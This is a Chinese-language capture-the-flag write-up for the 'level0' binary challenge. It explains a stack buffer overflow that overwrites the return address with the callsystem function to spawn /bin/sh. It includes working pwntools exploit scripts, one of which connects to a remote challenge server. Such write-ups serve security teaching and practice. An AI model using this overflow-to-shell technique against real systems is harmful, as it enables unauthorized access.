下载文件后查看属性,发现不认识,语言编译器打开后是一堆64位编码,看不到信息,载入IDA查看主函数的C语言形式:
显示读入“hello world”,下面的 vulnerable_function函数有hello world作为参数,点开后却发现与hello world没多大关系:
程序显示buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转。
shift+F12查找字符串:
因上图中 rodata 地址出现 /bin/sh 文件夹字样,查找该字符所被调用的函数,结果查到函数callsystem函数:
查看该函数C语言形式:
因此,可以在read时,将函数返回地址覆盖为callsystem函数地址,则可实现漏洞利用:
写的脚本如下:
from pwn import *
p = process('./level0')
# p = remote("111.198.29.45","31008")
call_system = 0x400596
payload = 0x88*'a' + p64(call_system)
p.sendline(payload)
p.interactive()
该脚本大意:
首先导入pwn的工具啦,因为需要用到一些pwn的程序,将level文件导入连接,或者可以直接用remote()连接到那道题,实现栈覆盖
运行:
毫无反应,推测返回地址错误,看vulnerable_function()函数汇编代码:
在retn之前还有一个leave指令,也就是说,在函数返回之前,有一次pop操作,要通过read函数覆盖返回地址,则还需将push指令的内容覆盖,ELF文件为64位程序,pop指令后64位2进制出栈,即8个字符大小(push类似),payload = ‘a’*(0x80 + 8) + p64(sysaddr)
修改exp如下:
from pwn import *
p = remote('111.198.29.45',33907)
elf = ELF('./level0')
sysaddr = elf.symbols['callsystem']
payload = 'a'*(0x80 + 8) + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()
运行;
得到flag。
脚本注释:
from pwn import * #导入pwntools中pwn包的所有内容
p = remote('111.198.29.45',33907) # 链接服务器远程交互,等同于nc ip 端口 命令
elf = ELF('./level0') # 以ELF文件格式读取level0文件
sysaddr = elf.symbols['callsystem'] # 获取ELF文件中callsystem标记的地址
payload = 'a'*(0x80 + 8) + p64(sysaddr) # payload,先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址
p.recv() #接收输出
p.send(payload) # 发送payload
p.interactive() # 反弹shell进行交互